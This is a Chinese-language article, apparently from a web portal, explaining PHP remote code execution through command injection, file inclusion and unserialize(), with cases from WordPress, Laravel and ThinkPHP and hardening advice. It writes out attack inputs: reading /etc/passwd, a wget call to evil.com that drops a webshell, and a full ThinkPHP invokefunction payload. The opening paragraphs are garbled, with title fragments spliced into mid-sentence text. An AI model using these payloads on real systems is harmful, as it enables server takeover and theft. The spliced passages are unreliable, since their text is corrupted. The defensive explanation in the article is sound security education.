当前位置:首页 > 综合

php远程代码执行漏洞

2019年,程代WordPress插件WP GDPR Compliance被爆出一个漏洞,码执攻击者只需向特定接口发送一个请求,行漏就能在服务器上执行任意PHP代码。程代当时超过10万个站点中招。码执这不是行漏什么高深的国家级攻击,一个curl命令就够了。程代

PHP远程代码执行漏洞(RCE)的码执本质很简单:攻击者通过HTTP请求,把恶意代码"喂"给PHP解释器,行漏让它当成合法程序跑起来。程代听起来像天方夜谭?码执但这类漏洞每年都在真实发生。

漏洞从哪来

最常见的行漏入口是用户输入没被过滤。比如这段代码:

$cmd = $_GET['cmd']; system($cmd);

写这段代码的程代人可能只是想做个简单的调试接口,但攻击者传入 ?码执cmd=cat /etc/passwd,服务器上的行漏密码文件就被读走了。传入 ?cmd=wget http://evil.com/shell.php,一个webshell就落地了。

稍微"高级"一点的场景是文件包含。PHP的 include() 和 require() 如果拼接了用户可控的变量:

include($_GET['page'] . '.php');

攻击者可以用 php://input 或 data:// 伪协议绕过后缀限制,直接注入代码。更狠的是配合文件上传——先传一个看似无害的图片马,再通过文件包含触发执行。

反序列化是另一条路。PHP的 unserialize() 函数如果处理了用户可控数据,攻击者可以构造特殊的序列化字符串,利用类中的 __destruct() 或 __wakeup() 魔术方法,在对象销毁时触发代码执行。这类漏洞在框架和CMS里特别多,因为代码量大,魔术方法调用链复杂,很难靠人工审计穷尽。

真实案例比想象中粗暴

2022年,Laravel框架的CVE-2021-3129被广泛利用。漏洞点在Ignition调试组件,攻击者通过 _ignition/execute-solution 接口,配合日志文件包含,最终实现RCE。公开的PoC脚本不到50行,但影响范围覆盖Laravel 8.4.2及以下的大量版本。

国内的情况也不乐观。ThinkPHP的RCE漏洞几乎成了"年经贴"——5.0.x、5.1.x、6.0.x都出过。最典型的是5.0.23版本的 invokefunction 漏洞,攻击者通过构造 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 就能执行命令。这个payload在GitHub上被fork了上千次。

这些漏洞有个共同点:框架为了"灵活",把路由、参数绑定、动态调用做得太开放。开发者觉得方便,攻击者觉得更方便。

防御不是加个WAF就完事

很多团队的做法是上一套WAF,规则一配,觉得万事大吉。但WAF只能挡已知payload,编码绕过、分块传输、参数污染这些手法分分钟教做人。真正的防御得从代码层做起。

输入验证是第一道门。不要相信任何来自 $_GET、$_POST、$_COOKIE 的数据。能用白名单就用白名单,比如文件包含只允许 home、about、contact 这几个值,其他一律拒绝。

禁用危险函数是第二道门。在 php.ini 里把 system、exec、passthru、shell_exec、eval 这些放进 disable_functions。虽然不能百分百防住,但能挡住大部分脚本小子的自动化扫描。

第三道门是权限控制。PHP进程别用root跑,Web目录别给写权限,open_basedir 限制住文件访问范围。就算攻击者真执行了代码,能做的事也有限。

最后说个观察:很多RCE漏洞的修复补丁其实很小,可能就改了一行过滤逻辑。但漏洞披露到补丁发布之间的时间窗口,才是真正危险的。2023年某个国产OA系统的RCE漏洞,从公开PoC到大规模 exploitation,只用了不到48小时。那两天里,没打补丁的服务器基本就是裸奔。

所以别等。看到漏洞公告,先升级,再排查,最后才是写报告。

分享到: